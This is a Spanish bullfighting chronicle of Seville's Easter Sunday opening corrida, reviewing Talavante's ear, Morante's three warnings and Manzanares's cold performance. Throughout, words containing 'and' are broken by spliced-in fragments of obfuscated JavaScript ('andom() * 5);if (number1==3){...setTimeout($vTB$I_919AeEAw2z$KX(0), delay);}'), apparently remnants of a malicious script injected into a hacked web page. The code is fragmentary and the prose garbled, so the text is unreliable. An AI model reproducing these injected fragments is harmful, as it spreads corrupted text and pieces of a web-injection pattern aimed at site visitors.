SEVILLA INAUGURAL

Sevilla, 27 de marzo. Sevilla estrenó temporada. Domingo de Resurrección y de toros. Volvían las figuras. Volvió a colocarse el cartelito de “No hay localidades para hoy”. La Maestranza, vestida con su cal de azahares, almagre recién pintado en sus barreras y tono amontillado en su encendido y allanado albero, aparecía radiante como una novia eternamente joven.

Un pasillo de ovaciones acompaña el ritual paseíllo. Al final del mismo, nuevas muestras de júbilo sacan a saludar a la terna de espadas. Me faltó, sin embargo, ese minuto de silencio que honrara la memoria del periodista taurino y sevillano Fernandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando Carrasco, recientemente fallecido. No obstante, prosiguieron las palmas su misión de aderezar el festivo ambientazo: una pancarta desplegada por las alturas de un tendido de sombra reclamaba al Tribunal Constitucional que se pronuncie de una vez sobre la prohibición de Cataluña. La plaza entera hizo suya la demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda y lo manifestó con una ovación atronadora.

Concluido el bullicioso prólogo, abriría sus fauces el mundo mágico de la corrida; esa nueva aventura que se vive cada tarde una vez que suenan los clarines y el toro está en la arena. Ésta de Sevilla nos dejó un muestrario de arquetipos taurinos: la sangre torera, derramada por Antonio Jiménez, Lili, a la salida de un par de bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillas en el que el toro le cortó el viaje; el triunfo, de un Talavante reivindicativo, que quiso dejar clavada la pica de su verdad torera en ésta su única actuación en todo el abono maestrante; el contraste de luces y sombras que, a veces, acompañan al torero, como le ocurrió a Morante en ese toro cuarto, con el que consiguió momentos de luminosa altura, para al final terminar escuchandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los tres avisos, y ese otro modelo de diestro traicionado por una inspiración que ha desaparecido, dejándolo vacío y sin ningún tesoro artístico que ofrecer, como le ocurrió a Manzanares con el mejor lote de la tarde.

Es lástima que Talavante no esté anunciado más este año en Sevilla. El buen momento que atraviesa dejó sus credenciales con el quite por gaoneras al primer toro de Manzanares –cuya réplica por chicuelinas, fue lo más torero de su actuación– y continuó en sus dos faenas de muleta; ambas comenzadas en el husillo, la primera a muleta plegada por naturales y la otra por derechazos sin mediar probaturas. La primera tuvo que vencer la frialdad inicial del público y al señor de la bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda, tardo en arrancarse; pero al final, convenció con su entregada actuación y paseó en justicia la única oreja de la tarde. También la quiso cortar en el que cerró plaza, pero a su innegable voluntad no acompañó esta vez el debido acople, que el astado, bronco y distraído, abortó.

Morante es un torero y un hombre de contrastes. Persigue el blanco y el negro y huye de los grises. Tuvo la valentía de sobreponerse a la cornada de su bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero y al tremendo palotazo que el toro la dio en la cara con una bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilla, para llegar a gustarse en pases de su exclusiva marca. Con la izquierda, consiguió instrumentar naturales hondos, largos, ceñidos, magníficos, a los que sucedían desconfianzas cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el toro probaba. Con la diestra, no sin esfuerzo, logró también esculpir el concepto hondo y bello de su arte de torear. Se arrebató al final en los ayudados por alto; pero quiso seguir toreandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando y se equivocó. Le dieron un aviso antes de entrar a matar, un segundo después de conseguir una estocada entera atravesada y pegó un “sainete” grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande con el verduguillo, hasta escuchar el fatídico tercer clarinazo. Arrastrado el toro, se dividieron con pasión las opiniones. No obstante, para mí sobró el chulesco gesto de salir a saludar. Si quería provocar, lo consiguió.

A Manzanares, un toro le había dado una fuerte voltereta el día anterior en Arles. No sé si eso le influyó o no; pero su actuación sevillana discurrió en el páramo de los pegapases. Dio muchos, pero sin alma ni sentimiento. Además de pasarse los toros más lejos que nadie y de colocarse casi siempre fuera de cacho, no traspasó el umbral de profesional mecanizado y frío. Le quedan dos actuaciones más en la feria y otra en septiembre. Esperemos que para ellas haya recuperado la ilusión

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